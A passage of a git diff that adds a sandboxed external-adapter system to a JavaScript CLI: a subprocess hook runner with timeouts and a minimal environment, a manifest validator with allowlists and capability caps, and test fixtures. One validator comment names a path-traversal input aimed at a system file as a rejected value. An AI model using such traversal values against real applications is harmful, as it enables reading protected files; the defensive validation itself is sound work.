consentedAt: new Date().toISOString() }; + writeStore(file, store); +} + +/** Remove any recorded consent for `name`. Returns whether an entry existed. */ +export function revokeConsent(name, { file = adapterConsentPath() } = {}) { + if (typeof name !== 'string' || !name) return false; + const store = readStore(file); + // Object.hasOwn, not `name in store`: `in` walks the prototype chain, so + // revokeConsent('constructor') (or 'toString', 'hasOwnProperty', ...) + // would read true off Object.prototype and report revoking consent for an + // adapter that was never actually consented to. + if (!Object.hasOwn(store, name)) return false; + delete store[name]; + writeStore(file, store); + return true; +} diff --git a/src/lib/adapters/hook-runner.mjs b/src/lib/adapters/hook-runner.mjs new file mode 100644 index 0000000..168d6bd --- /dev/null +++ b/src/lib/adapters/hook-runner.mjs @@ -0,0 +1,201 @@ +// The ONLY way an external adapter's code ever executes: a supervised, +// short-lived subprocess. Adapters are untrusted code with an explicit exit +// door, not co-processes we trust to clean up after themselves — no shell, +// a minimal environment, bounded captured output, and the whole process +// group dies the instant a timeout fires. +// +// Deliberately simpler than execution/subprocess.mjs: one shot, no streaming +// summary capture, no graceful-then-forced two-step shutdown. A timed-out +// adapter hook gets no cleanup grace period; it already spent its budget. +import { spawn as nodeSpawn, execFile as nodeExecFile } from 'node:child_process'; + +const DEFAULT_TIMEOUT_MS = 30_000; +const OUTPUT_CAP_BYTES = 256 * 1024; +const TRUNCATION_MARKER = `\n…[truncated: adapter hook output exceeded ${OUTPUT_CAP_BYTES} bytes]`; +const STDERR_SEPARATOR = '\n--- stderr ---\n'; +// Bounded wait for the process to actually report closed after a kill signal +// is sent. SIGKILL is not a promise the OS keeps synchronously; this is a +// safety net so a stuck kernel-blocked process can't hang the caller forever. +const KILL_GRACE_MS = 2_000; +const isWindows = process.platform === 'win32'; +const TIMEOUT_SENTINEL = Symbol('adapter-hook-timeout'); + +/** Min-wins: whichever side asked for the tighter budget governs. A hook + * cannot escalate past a caller-imposed ceiling, and a caller cannot force a + * hook to run longer than the hook itself declared it needs. Neither side + * specifying a timeout falls back to the 30s default. */ +function resolveTimeout(paramTimeoutMs, hookTimeoutMs) { + const candidates = [paramTimeoutMs, hookTimeoutMs].filter( + (value) => Number.isFinite(value) && value > 0, + ); + return candidates.length ? Math.min(...candidates) : DEFAULT_TIMEOUT_MS; +} + +/** PATH, HOME, plus caller-passed entries only — never the full + * process.env. Adapters must not inherit ak's secrets. */ +function minimalEnv(extra) { + const env = {}; + if (typeof process.env.PATH === 'string') env.PATH = process.env.PATH; + if (typeof process.env.HOME === 'string') env.HOME = process.env.HOME; + if (extra && typeof extra === 'object') { + for (const [key, value] of Object.entries(extra)) { + if (typeof key === 'string' && key && typeof value === 'string') env[key] = value; + } + } + return env; +} + +/** Accumulate chunks up to a hard byte ceiling, then silently drop the rest, + * remembering that a drop happened. Bounds memory during the run itself — + * the final combined-stream cap (and truncation marker) is applied + * separately once both streams are known, but a stream truncated on its own + * must still be reported as truncated even if it lands exactly at the cap. */ +function boundedCollector(capBytes) { + let buffer = Buffer.alloc(0); + let truncated = false; + return { + write(chunk) { + if (buffer.length >= capBytes) { + if (chunk.length > 0) truncated = true; + return; + } + const next = Buffer.concat([buffer, chunk]); + if (next.length > capBytes) { + truncated = true; + buffer = next.subarray(0, capBytes); + } else { + buffer = next; + } + }, + text() { return buffer.toString('utf8'); }, + wasTruncated() { return truncated; }, + }; +} + +/** stdout first, then stderr folded in after a separator, then the whole + * thing capped at OUTPUT_CAP_BYTES with a truncation marker appended if + * anything was cut — whether that happened while collecting a single + * oversized stream, or only once the two streams were combined. Never + * unbounded. */ +function mergeCapture(stdout, stderr) { + const combined = stderr.text ? `${stdout.text}${STDERR_SEPARATOR}${stderr.text}` : stdout.text; + const combinedBytes = Buffer.byteLength(combined, 'utf8'); + const overflow = combinedBytes > OUTPUT_CAP_BYTES; + if (!stdout.truncated && !stderr.truncated && !overflow) return combined; + const kept = overflow + ? Buffer.from(combined, 'utf8').subarray(0, OUTPUT_CAP_BYTES).toString('utf8') + : combined; + return `${kept}${TRUNCATION_MARKER}`; +} + +function describeFailure(hostId, verb, error) { + const reason = error?.code ? `${error.code} (${error.message ?? 'no message'})` : (error?.message ?? String(error)); + return `${hostId}:${verb} adapter hook failed to start: ${reason}`; +} + +function raceTimeout(promise, ms) { + return new Promise((resolve) => { + const timer = setTimeout(() => resolve(TIMEOUT_SENTINEL), ms); + promise.then((value) => { clearTimeout(timer); resolve(value); }); + }); +} + +/** Best-effort kill of the whole process group/tree, not just the direct + * child — a timed-out adapter hook may have spawned descendants of its own. + * POSIX: the child was spawned detached so its pid is also its process group + * id; signalling `-pid` reaches the whole group. Windows has no portable + * signal for arbitrary console trees, so `taskkill /T /F` owns it there. */ +async function killGroup(child) { + if (!Number.isInteger(child?.pid)) return; + if (isWindows) { + await new Promise((resolve) => { + nodeExecFile('taskkill.exe', ['/PID', String(child.pid), '/T', '/F'], () => resolve(undefined)); + }); + return; + } + try { + process.kill(-child.pid, 'SIGKILL'); + } catch { + try { child.kill('SIGKILL'); } catch { /* process already gone */ } + } +} + +/** + * Run one adapter hook as a supervised subprocess and report what happened. + * Never throws for process failures (ENOENT, timeout, non-zero exit) — those + * are reported via `ok:false` and `detail`. Only malformed call arguments + * (missing/invalid `hook`, `hostId`, or `verb`) throw synchronously. + * + * @param {{hook:{command:string[], timeoutMs?:number}, hostId:string, + * verb:string, timeoutMs?:number, env?:Record}} options + * @returns {Promise<{ok:boolean, stdout:string, exitCode:number|null, detail:string|null}>} + */ +export async function runAdapterHook({ hook, hostId, verb, timeoutMs, env } = /** @type {any} */ ({})) { + if (!hook || !Array.isArray(hook.command) || hook.command.length === 0 + || !hook.command.every((part) => typeof part === 'string' && part.length > 0)) { + throw new TypeError('runAdapterHook requires hook.command as a non-empty array of non-empty strings'); + } + if (typeof hostId !== 'string' || !hostId) throw new TypeError('runAdapterHook requires a hostId'); + if (typeof verb !== 'string' || !verb) throw new TypeError('runAdapterHook requires a verb'); + + const effectiveTimeoutMs = resolveTimeout(timeoutMs, hook.timeoutMs); + const [argv0, ...args] = hook.command; + const childEnv = minimalEnv(env); + + let child; + try { + child = nodeSpawn(argv0, args, { + env: childEnv, + shell: false, + stdio: ['ignore', 'pipe', 'pipe'], + detached: !isWindows, + }); + } catch (error) { + return { ok: false, stdout: '', exitCode: null, detail: describeFailure(hostId, verb, error) }; + } + + const stdoutCollector = boundedCollector(OUTPUT_CAP_BYTES); + const stderrCollector = boundedCollector(OUTPUT_CAP_BYTES); + child.stdout?.on('data', (chunk) => stdoutCollector.write(chunk)); + child.stderr?.on('data', (chunk) => stderrCollector.write(chunk)); + + let settled = false; + let spawnError = null; + const closeResult = new Promise((resolve) => { + child.once('error', (error) => { + spawnError = error; + if (!settled) { settled = true; resolve({ code: null, signal: null }); } + }); + child.once('close', (code, signal) => { + if (!settled) { settled = true; resolve({ code, signal }); } + }); + }); + + const raced = await raceTimeout(closeResult, effectiveTimeoutMs); + if (raced === TIMEOUT_SENTINEL) { + await killGroup(child); + await raceTimeout(closeResult, KILL_GRACE_MS); // best-effort; result unused + return { + ok: false, + exitCode: null, + stdout: mergeCapture( + { text: stdoutCollector.text(), truncated: stdoutCollector.wasTruncated() }, + { text: stderrCollector.text(), truncated: stderrCollector.wasTruncated() }, + ), + detail: `${hostId}:${verb} adapter hook timed out after ${effectiveTimeoutMs}ms and was killed`, + }; + } + + if (spawnError) { + return { ok: false, stdout: '', exitCode: null, detail: describeFailure(hostId, verb, spawnError) }; + } + + const { code } = raced; + const stdout = mergeCapture( + { text: stdoutCollector.text(), truncated: stdoutCollector.wasTruncated() }, + { text: stderrCollector.text(), truncated: stderrCollector.wasTruncated() }, + ); + return code === 0 + ? { ok: true, stdout, exitCode: 0, detail: null } + : { ok: false, stdout, exitCode: code, detail: `${hostId}:${verb} adapter hook exited with code ${code}` }; +} diff --git a/src/lib/adapters/index.mjs b/src/lib/adapters/index.mjs index 0952eaa..8794885 100644 --- a/src/lib/adapters/index.mjs +++ b/src/lib/adapters/index.mjs @@ -6,3 +6,6 @@ export * from './migration.mjs'; export * from './lifecycle.mjs'; export * from './config.mjs'; export * from './ownership.mjs'; +export * from './manifest.mjs'; +export * from './admission.mjs'; +export * from './admitted.mjs'; diff --git a/src/lib/adapters/lifecycle-registry.mjs b/src/lib/adapters/lifecycle-registry.mjs index 705e1d4..59b6188 100644 --- a/src/lib/adapters/lifecycle-registry.mjs +++ b/src/lib/adapters/lifecycle-registry.mjs @@ -12,8 +12,9 @@ // — so this is a new, one-way edge (adapters/* -> opencode.mjs) that never // cycles back (opencode.mjs has no reason to import this module: callers // reach it through lifecycleAdapterFor/hostsWithLifecycle instead). -import { validateLifecycleAdapter } from './lifecycle.mjs'; +import { validateLifecycleAdapter, LIFECYCLE_OPERATIONS, lifecycleResult } from './lifecycle.mjs'; import { HOST_REGISTRY } from './registries.mjs'; +import { effectiveHostRegistry } from './admitted.mjs'; import { OPENCODE_LIFECYCLE_ADAPTER } from '../opencode.mjs'; const LIFECYCLE_ADAPTERS = new Map(); @@ -53,11 +54,126 @@ export function lifecycleAdapterFor(hostId) { } /** - * Host ids with a registered lifecycle adapter, in HOST_REGISTRY order (not - * Map-insertion order) so callers get a deterministic, registry-driven - * iteration order as more hosts gain lifecycle adapters. + * Host ids with a registered lifecycle adapter, in effectiveHostRegistry + * order (HOST_REGISTRY plus any admitted externals — not Map-insertion + * order) so callers get a deterministic, registry-driven iteration order. + * With nothing admitted, effectiveHostRegistry() === HOST_REGISTRY (same + * reference), so this is unchanged from the built-ins-only behavior. * @returns {string[]} */ export function hostsWithLifecycle() { + return effectiveHostRegistry().filter((host) => LIFECYCLE_ADAPTERS.has(host.id)).map((host) => host.id); +} + +/** + * Host ids with a registered lifecycle adapter, restricted to BUILT-IN hosts + * (LIFECYCLE_ADAPTERS keys intersected with HOST_REGISTRY — never an + * admitted external, even after applyAdmitted). setup.mjs/sync.mjs/ + * uninstall.mjs's lifecycle loops destructure an opencode-SHAPED result + * (stack.oc/.plugin/.agents/.skill, ret.undo/.artifacts) — those loop bodies + * are not generic across hosts yet. Today that's unreachable dead code, + * because registerAdmittedLifecycle is never called in production — but it + * is ARMED: the moment something wires an admitted external's lifecycle + * adapter in (registerAdmittedLifecycle exists for exactly that), a + * non-opencode-shaped host would enter hostsWithLifecycle() and crash one of + * those command loops on the first opencode-specific destructure. Command + * loops use this function instead until external lifecycle EXECUTION and a + * shape-agnostic loop body graduate together, in a later wave. + * hostsWithLifecycle() above stays for pure registry queries, unaffected. + * @returns {string[]} + */ +export function builtinHostsWithLifecycle() { return HOST_REGISTRY.filter((host) => LIFECYCLE_ADAPTERS.has(host.id)).map((host) => host.id); } + +// ── admitted (external) lifecycle adapters ───────────────────────────────── +// A derived adapter never runs third-party code in-process: each declared +// verb is a thin wrapper that shells out through the sibling's hook runner +// (runAdapterHook({hook, hostId, verb, timeoutMs, env}) -> {ok, stdout, +// exitCode, detail}) and interprets stdout as the JSON payload for that verb +// (e.g. a detect hook prints `{"observed": {...}}`) — the declarative- +// manifest + subprocess-hooks contract the dossier settled on. A verb the +// manifest never declared gets an honest no-op: it never ran, so nothing +// changed. + +function parseHookPayload(result) { + if (!result || typeof result.stdout !== 'string') return null; + try { + const parsed = JSON.parse(result.stdout); + return parsed && typeof parsed === 'object' && !Array.isArray(parsed) ? parsed : null; + } catch { + return null; + } +} + +function hookFailureResult(verb, result) { + const detail = result?.detail || (result?.stdout || '').trim() || `hook exited ${result?.exitCode ?? 'unknown'}`; + if (verb === 'detect' || verb === 'verify') return { observed: null, error: detail }; + if (verb === 'plan') return { changed: false, operations: [], error: detail }; + return lifecycleResult({ ok: false, changed: false, errors: [detail] }); +} + +/** + * Build a five-verb lifecycle adapter for an admitted manifest. Declared + * verbs (manifest.lifecycle[verb]) run through the hook runner; undeclared + * verbs are honest no-ops satisfying validateLifecycleAdapter's function-per- + * verb contract without fabricating a result. `runHook` is injectable — + * defaults to a dynamic import of ./hook-runner.mjs (the sibling module), + * fetched lazily so this factory (and this whole file) loads cleanly even + * before that module exists, and so tests never pay for the import unless + * they omit the injection on purpose. + * @param {any} manifest — validateAdapterManifest's return shape + * @param {{ runHook?: (args: any) => Promise<{ok:boolean, stdout:string, exitCode:number}> }} [opts] + */ +export function buildAdmittedLifecycleAdapter(manifest, { runHook } = {}) { + const hostId = manifest.host.id; + const declared = manifest.lifecycle ?? {}; + const adapter = { id: hostId }; + for (const verb of LIFECYCLE_OPERATIONS) { + const hookEntry = declared[verb]?.hook; + if (!hookEntry) { + adapter[verb] = async () => lifecycleResult({ ok: true, changed: false, facts: null }); + continue; + } + adapter[verb] = async (context = {}) => { + const run = runHook ?? (await import('./hook-runner.mjs')).runAdapterHook; + const result = await run({ + hook: hookEntry, hostId, verb, timeoutMs: hookEntry.timeoutMs, env: context.env, + }); + if (!result?.ok) return hookFailureResult(verb, result); + const payload = parseHookPayload(result); + if (payload === null) return hookFailureResult(verb, result); + return verb === 'apply' || verb === 'undo' ? lifecycleResult(payload) : payload; + }; + } + return adapter; +} + +/** + * Register an admitted external manifest's derived lifecycle adapter. Unlike + * registerBuiltinLifecycle, this checks the host id against + * effectiveHostRegistry() (built-ins + admitted) rather than HOST_REGISTRY — + * an admitted-but-not-yet-overlaid host id would otherwise never pass the + * built-ins-only check. + * + * Not called anywhere in production yet: registering an external host here + * makes it appear in hostsWithLifecycle() (registry-query, all hosts), but + * setup.mjs/sync.mjs/uninstall.mjs deliberately read builtinHostsWithLifecycle() + * instead, which stays built-ins-only. External lifecycle EXECUTION and a + * shape-agnostic command-loop body (today's loops assume the opencode result + * shape) graduate together, in a later wave — wiring a real caller for this + * function ahead of that loop-body rewrite would crash setup/sync/uninstall + * the moment a non-opencode-shaped host is admitted. + * @param {any} manifest + * @param {{ runHook?: (args: any) => Promise }} [opts] + */ +export function registerAdmittedLifecycle(manifest, { runHook } = {}) { + const hostId = manifest.host.id; + if (!effectiveHostRegistry().some((host) => host.id === hostId)) { + throw new TypeError(`lifecycle registry: unknown host id '${hostId}' — not present in effectiveHostRegistry`); + } + const adapter = buildAdmittedLifecycleAdapter(manifest, { runHook }); + validateLifecycleAdapter(adapter); + LIFECYCLE_ADAPTERS.set(hostId, adapter); + return adapter; +} diff --git a/src/lib/adapters/manifest.mjs b/src/lib/adapters/manifest.mjs new file mode 100644 index 0000000..801f89f --- /dev/null +++ b/src/lib/adapters/manifest.mjs @@ -0,0 +1,302 @@ +// Adapter-manifest schema + validator (Adapter Contract Dossier: an external +// host adapter is DATA plus consented subprocess hooks — no third-party code +// ever runs in-process). validateAdapterManifest is the STRUCTURAL cap layer: +// an ineligible claim (canBePrimary, an aqeProvider binding, a command +// statusline, a path-traversal guidanceFile) must be INEXPRESSIBLE by a +// manifest that parses at all, not merely refused later at runtime. Every +// rejection carries a named `.reason` (ManifestRejected#reason) so admission.mjs +// and its tests can distinguish failure modes without parsing message text. +import { + assertEnum, assertId, assertRecord, assertStringArray, immutable, +} from './schema.mjs'; +import { validateHostAdapter, HOST_REGISTRY, PROJECTION_REGISTRY, OBSERVABILITY_REGISTRY } from './registries.mjs'; +import { LIFECYCLE_OPERATIONS } from './lifecycle.mjs'; + +const SEMVER_RE = /^\d+\.\d+\.\d+(?:-[0-9A-Za-z-.]+)?(?:\+[0-9A-Za-z-.]+)?$/; + +export const DRIVING_SURFACES = Object.freeze(['cli-subprocess', 'acp', 'mcp']); + +// manifest.trust has a lighter shape than host.trust ({ changes: [...] }, no +// approvalPolicy) — see the Wave 4 final report for why this is a local, +// manifest-scoped enum rather than an extension of registries.mjs's +// TRUST_CHANGE_KINDS: every entry in a manifest's trust.changes is, by +// construction, a third-party-adapter-sourced grant, so one kind suffices +// today and registries.mjs stays untouched. +export const MANIFEST_TRUST_KINDS = Object.freeze(['third-party-adapter']); +const MANIFEST_TRUST_SCOPES = Object.freeze(['project', 'user']); + +export class ManifestRejected extends TypeError { + constructor(reason, detail) { + super(detail ? `${reason}: ${detail}` : reason); + this.name = 'ManifestRejected'; + this.reason = reason; + } +} + +// ── strict allowlists (Wave 4 security remediation, P0-A) ────────────────── +// Consent hashes the VALIDATED manifest (see hashManifest in admission.mjs), +// not the operator's raw file. Before this allowlist, an unrecognized +// TOP-LEVEL key was silently dropped (not rejected) before hashing — so +// hashManifest(manifest) and the operator's reviewed file could diverge in +// meaning while still hashing identically, and a recorded consent would +// cover content the operator never saw. Nested extras under host/ +// host.install/host.legacy fared worse: those sub-validators structuredClone +// the ENTIRE input object (registries.mjs's validateHostAdapter has no +// allowlist of its own — built-ins must keep working through it unchanged), +// so an unrecognized nested key survived verbatim into the admitted host +// entry and effectiveHostRegistry(). That matters specifically for +// host.install (a future installHost() runs `npm install -g ${host.pkg}` — +// providers.mjs) and host.legacy (hosts.mjs/providers.mjs read enableEnv, +// aqeProvider, guidanceFile, etc. for real env/file wiring). These lists are +// exactly what those two downstream readers (registries.mjs's +// validateHostAdapter, src/lib/hosts.mjs, src/lib/providers.mjs) consume — +// widen them only alongside a new legitimate consumer, never speculatively. +const MANIFEST_ALLOWED_KEYS = Object.freeze([ + 'name', 'version', 'contract', 'host', 'detection', 'driving', 'lifecycle', 'trust', +]); +// Everything validateHostAdapter itself reads (id, label, install, +// capabilities, trust, enabledByDefault, configProjection, observability) +// plus the two fields it structuredClones through untouched but that a real +// downstream reader consumes: `auth` (src/lib/hosts.mjs's HOST_ADAPTERS +// spreads host.auth for canDriveSession hosts) and `legacy` (this file's own +// structural caps below, plus hosts.mjs/providers.mjs). +const HOST_ALLOWED_KEYS = Object.freeze([ + 'id', 'label', 'install', 'capabilities', 'auth', 'legacy', 'trust', 'configProjection', 'observability', 'enabledByDefault', +]); +// bin + externalInstallPolicy are validated by validateHostAdapter; +// npmPackage is read by providers.mjs (`HOSTS` -> `host.install.npmPackage` +// -> `npm install -g `) but never checked there — allowlisted here so +// it round-trips for a BUILT-IN host, then explicitly forbidden below for an +// EXTERNAL one (an adapter must never name a package ak would install). +const HOST_INSTALL_ALLOWED_KEYS = Object.freeze(['bin', 'npmPackage', 'externalInstallPolicy']); +// The legacy fields real built-in hosts carry and real readers consume: +// guidanceFile/configFormat/statusline/aqeProvider/envMarkers (hosts.mjs's +// HOST_ADAPTERS) and enableEnv (providers.mjs's HOSTS/commandHosts). +const HOST_LEGACY_ALLOWED_KEYS = Object.freeze([ + 'guidanceFile', 'configFormat', 'statusline', 'aqeProvider', 'envMarkers', 'enableEnv', +]); +// The canonical host-capability names, derived from a built-in entry so this +// can't drift from registries.mjs's private HOST_CAPABILITIES list. +const HOST_CAPABILITY_KEYS = Object.freeze(Object.keys(HOST_REGISTRY[0].capabilities)); + +/** + * Reject any own key of `value` not in `allowed`, named ManifestRejected + * ('unknown-field'). A non-plain-object `value` is left alone — the real + * structural validator downstream reports that shape error with its own + * (existing) reason, so this never masks e.g. "host must be an object". + * @param {any} value + * @param {readonly string[]} allowed + * @param {string} field — dotted path under 'manifest', e.g. 'host.install'; '' for the root + */ +function assertNoUnknownKeys(value, allowed, field) { + if (!value || typeof value !== 'object' || Array.isArray(value)) return; + const allowedSet = new Set(allowed); + for (const key of Object.keys(value)) { + if (!allowedSet.has(key)) { + const path = field ? `manifest.${field}` : 'manifest'; + throw new ManifestRejected('unknown-field', `${path} has unknown key '${key}'`); + } + } +} + +// Built from the exported REGISTRY arrays (not the private *_MAP objects +// registries.mjs keeps internal) so this module needs no edit to +// registries.mjs to reuse the same referential-integrity checks built-ins get. +const projectionMap = Object.fromEntries(PROJECTION_REGISTRY.map((entry) => [entry.id, entry])); +const observabilityMap = Object.fromEntries(OBSERVABILITY_REGISTRY.map((entry) => [entry.id, entry])); + +function validateDetection(value) { + assertRecord(value, 'detection'); + assertNoUnknownKeys(value, ['bin', 'versionArgs', 'versionPattern'], 'detection'); + try { + assertId(value.bin, 'detection.bin'); + } catch (error) { + throw new ManifestRejected('invalid-detection', error.message); + } + if (value.versionArgs !== undefined) { + try { + assertStringArray(value.versionArgs, 'detection.versionArgs'); + } catch (error) { + throw new ManifestRejected('invalid-detection', error.message); + } + } + if (value.versionPattern !== undefined) { + if (typeof value.versionPattern !== 'string' || !value.versionPattern) { + throw new ManifestRejected('invalid-detection', 'detection.versionPattern must be a non-empty string'); + } + try { + new RegExp(value.versionPattern); // validity probe only, never used to match here + } catch { + throw new ManifestRejected('invalid-detection', 'detection.versionPattern must be a valid regular expression source'); + } + } + return structuredClone(value); +} + +function validateDriving(value) { + assertRecord(value, 'driving'); + assertNoUnknownKeys(value, ['surfaces'], 'driving'); + try { + assertStringArray(value.surfaces, 'driving.surfaces', { allowEmpty: false }); + } catch (error) { + throw new ManifestRejected('invalid-driving-surfaces', error.message); + } + for (const surface of value.surfaces) { + if (!DRIVING_SURFACES.includes(surface)) { + throw new ManifestRejected('invalid-driving-surfaces', `unknown driving surface: ${surface}`); + } + } + return structuredClone(value); +} + +function validateManifestLifecycle(value) { + assertRecord(value, 'lifecycle'); + for (const [verb, entry] of Object.entries(value)) { + if (!LIFECYCLE_OPERATIONS.includes(verb)) { + throw new ManifestRejected('invalid-lifecycle-verb', `unknown lifecycle verb: ${verb}`); + } + assertRecord(entry, `lifecycle.${verb}`); + assertNoUnknownKeys(entry, ['hook'], `lifecycle.${verb}`); + assertRecord(entry.hook, `lifecycle.${verb}.hook`); + assertNoUnknownKeys(entry.hook, ['command', 'timeoutMs'], `lifecycle.${verb}.hook`); + try { + assertStringArray(entry.hook.command, `lifecycle.${verb}.hook.command`, { allowEmpty: false }); + } catch (error) { + throw new ManifestRejected('invalid-lifecycle-hook', error.message); + } + if (entry.hook.timeoutMs !== undefined + && (!Number.isInteger(entry.hook.timeoutMs) || entry.hook.timeoutMs <= 0)) { + throw new ManifestRejected('invalid-lifecycle-hook', `lifecycle.${verb}.hook.timeoutMs must be a positive integer`); + } + } + return structuredClone(value); +} + +function validateManifestTrust(value) { + assertRecord(value, 'trust'); + assertNoUnknownKeys(value, ['changes'], 'trust'); + if (!Array.isArray(value.changes)) throw new ManifestRejected('invalid-trust', 'trust.changes must be an array'); + const ids = new Set(); + for (const [index, change] of value.changes.entries()) { + const field = `trust.changes[${index}]`; + // Unknown-key rejection stays OUTSIDE the catch so it keeps the uniform + // 'unknown-field' reason every other sub-structure uses, rather than being + // re-labeled 'invalid-trust'. + if (change && typeof change === 'object' && !Array.isArray(change)) { + assertNoUnknownKeys(change, ['id', 'kind', 'scope', 'owner', 'value', 'effect'], field); + } + try { + assertRecord(change, field); + assertId(change.id, `${field}.id`); + } catch (error) { + throw new ManifestRejected('invalid-trust', error.message); + } + if (ids.has(change.id)) throw new ManifestRejected('invalid-trust', `${field} duplicate id: ${change.id}`); + ids.add(change.id); + try { + assertEnum(change.kind, MANIFEST_TRUST_KINDS, `${field}.kind`); + assertEnum(change.scope, MANIFEST_TRUST_SCOPES, `${field}.scope`); + for (const name of ['owner', 'value', 'effect']) { + if (typeof change[name] !== 'string' || !change[name]) throw new TypeError(`${field}.${name} is required`); + } + } catch (error) { + throw new ManifestRejected('invalid-trust', error.message); + } + } + return structuredClone(value); +} + +/** + * Validate one adapter manifest document. Throws ManifestRejected (a named + * `.reason`) on any structural or capability-cap violation; returns a frozen, + * fully independent copy on success. `projections`/`observability` are + * injectable for tests, defaulting to the real built-in registries. + */ +export function validateAdapterManifest(value, { projections = projectionMap, observability = observabilityMap } = {}) { + assertRecord(value, 'manifest'); + assertNoUnknownKeys(value, MANIFEST_ALLOWED_KEYS, ''); + + try { + assertId(value.name, 'manifest.name'); + } catch (error) { + throw new ManifestRejected('invalid-id', error.message); + } + + if (typeof value.version !== 'string' || !SEMVER_RE.test(value.version)) { + throw new ManifestRejected('invalid-version', 'manifest.version must be semver (e.g. 1.2.3)'); + } + + if (!Number.isInteger(value.contract) || value.contract < 1) { + throw new ManifestRejected('invalid-contract', 'manifest.contract must be a positive integer'); + } + + // ── host-layer allowlist wrapper, BEFORE validateHostAdapter runs ────── + // validateHostAdapter is shared with the built-in registry (registries.mjs) + // and must keep structuredClone-ing whatever it's handed — so the + // allowlisting happens here, at the manifest (external-adapter-only) layer, + // never inside that shared validator. + if (value.host && typeof value.host === 'object' && !Array.isArray(value.host)) { + assertNoUnknownKeys(value.host, HOST_ALLOWED_KEYS, 'host'); + if (value.host.install && typeof value.host.install === 'object' && !Array.isArray(value.host.install)) { + assertNoUnknownKeys(value.host.install, HOST_INSTALL_ALLOWED_KEYS, 'host.install'); + if (value.host.install.npmPackage != null) { + throw new ManifestRejected('external-npm-package', 'external adapters may not declare host.install.npmPackage — detect-never-overwrite only'); + } + try { + assertId(value.host.install.bin, 'host.install.bin'); + } catch (error) { + throw new ManifestRejected('invalid-install-bin', error.message); + } + } + assertNoUnknownKeys(value.host.legacy, HOST_LEGACY_ALLOWED_KEYS, 'host.legacy'); + // Capability keys are allowlisted to the canonical set too, so a + // differently-cased or extra key ('CanBePrimary', 'ADMIN') can't ride + // along inert — the cap-bypass surface is provably closed, not merely + // harmless because consumers happen to read the exact lowercase flag. + assertNoUnknownKeys(value.host.capabilities, HOST_CAPABILITY_KEYS, 'host.capabilities'); + } + + let host; + try { + host = validateHostAdapter(value.host, { projections, observability }); + } catch (error) { + throw new ManifestRejected('invalid-host', error.message); + } + + // ── structural caps: these claims must be INEXPRESSIBLE, not merely + // refused at runtime — an external manifest can never assert them true. ── + if (host.capabilities.canBePrimary === true) { + throw new ManifestRejected('cap-can-be-primary', 'external adapters may not claim host.capabilities.canBePrimary'); + } + if (host.capabilities.commandStatusline === true) { + throw new ManifestRejected('cap-command-statusline', 'external adapters may not claim host.capabilities.commandStatusline'); + } + if (host.legacy != null && host.legacy.aqeProvider != null) { + throw new ManifestRejected('cap-aqe-provider', 'external adapters may not claim host.legacy.aqeProvider'); + } + // Wave-1 review's traversal finding, enforced at schema level: guidanceFile + // must be an id-shaped slug, never a path (`../../etc/passwd` fails assertId). + if (host.legacy != null && host.legacy.guidanceFile !== undefined) { + try { + assertId(host.legacy.guidanceFile, 'host.legacy.guidanceFile'); + } catch (error) { + throw new ManifestRejected('invalid-guidance-file', error.message); + } + } + + const detection = validateDetection(value.detection); + const driving = validateDriving(value.driving); + const lifecycle = value.lifecycle === undefined ? undefined : validateManifestLifecycle(value.lifecycle); + const trust = validateManifestTrust(value.trust); + + return immutable({ + name: value.name, + version: value.version, + contract: value.contract, + host, + detection, + driving, + ...(lifecycle === undefined ? {} : { lifecycle }), + trust, + }); +} diff --git a/src/lib/config.mjs b/src/lib/config.mjs index c3ec4ff..1d7424c 100644 --- a/src/lib/config.mjs +++ b/src/lib/config.mjs @@ -46,6 +46,10 @@ const DEFAULTS = { statusline: { codex: null }, // {preset,lastProjection}: explicit ownership of Codex [tui] keys customBlocks: [], // [{slug, templatePath, detector:{type:'command'|'dir'|'file', target}}] versionCheck: { ttlHours: 24, last: null, seen: {} }, + // Experimental adapter door (staged behind AK_EXPERIMENTAL_HOST_ADAPTERS=1): + // [{name, source, contract}] entries admitted by admission.mjs's + // admitAdapters/bootstrapHostAdapters. Empty by default = zero effect. + hostAdapters: [], }; const plain = (value) => value !== null && typeof value === 'object' && !Array.isArray(value); diff --git a/src/lib/execution/adapters.mjs b/src/lib/execution/adapters.mjs index 6f43f21..27e9bb9 100644 --- a/src/lib/execution/adapters.mjs +++ b/src/lib/execution/adapters.mjs @@ -42,5 +42,12 @@ assertBuiltinAdaptersRoutable(); * host with no adapter wired yet — never throws, so callers can degrade a * single worker instead of failing an entire run. */ export function executionAdapterFor(hostId) { - return EXECUTION_ADAPTERS.get(hostId) ?? null; + if (EXECUTION_ADAPTERS.has(hostId)) return EXECUTION_ADAPTERS.get(hostId); + // Wave 4 (adapter door): an admitted external host whose manifest declares + // driving.surfaces including 'cli-subprocess' MAY, in a later wave, get a + // constructed execution adapter here. This wave builds none: admitted + // hosts have no execution adapter yet, full stop, so they fall through to + // the same null return (and the runner's existing cli_unavailable + // degradation) as any other routable-but-unadapted host. + return null; } diff --git a/tests/fixtures/adapters/acme/detect-hook.mjs b/tests/fixtures/adapters/acme/detect-hook.mjs new file mode 100644 index 0000000..1d64fd7 --- /dev/null +++ b/tests/fixtures/adapters/acme/detect-hook.mjs @@ -0,0 +1,24 @@ +// Fixture lifecycle hook for the "acme" conformance adapter +// (tests/kit/adapter-conformance.test.mjs). A real, standalone subprocess — +// no dependencies, no network, no filesystem writes — invoked exactly as an +// admitted external adapter's declared hook would be, through the real +// runAdapterHook. It echoes a 'detect' verb payload shaped per the Adapter +// Contract Dossier: buildAdmittedLifecycleAdapter (lifecycle-registry.mjs) +// parses this stdout as JSON and returns it verbatim for 'detect'. +// +// ACME_HOOK_FAIL=1 makes the hook fail deliberately, for any future negative +// test of the hook-execution path itself (unused by the current harness, but +// kept honest rather than removed since it costs nothing to leave in). +if (process.env.ACME_HOOK_FAIL === '1') { + process.stderr.write('acme fixture hook: deliberate failure\n'); + process.exit(3); +} + +process.stdout.write(JSON.stringify({ + observed: { + host: 'acme', + bin: 'acme', + pid: process.pid, + argv: process.argv.slice(2), + }, +})); diff --git a/tests/fixtures/adapters/acme/invalid/can-be-primary.json b/tests/fixtures/adapters/acme/invalid/can-be-primary.json new file mode 100644 index 0000000..5a1e504 --- /dev/null +++ b/tests/fixtures/adapters/acme/invalid/can-be-primary.json @@ -0,0 +1,27 @@ +{ + "name": "acme-primary", + "version": "1.0.0", + "contract": 1, + "host": { + "id": "acme-primary", + "label": "Acme CLI (would-be primary)", + "install": { "bin": "acme", "externalInstallPolicy": "detect-never-overwrite" }, + "capabilities": { + "canDriveSession": false, + "canBePrimary": true, + "canRouteActivities": false, + "commandStatusline": false, + "transcripts": false, + "usage": false, + "nativeMcpConfig": false, + "nativeGuidance": false + }, + "trust": { "approvalPolicy": 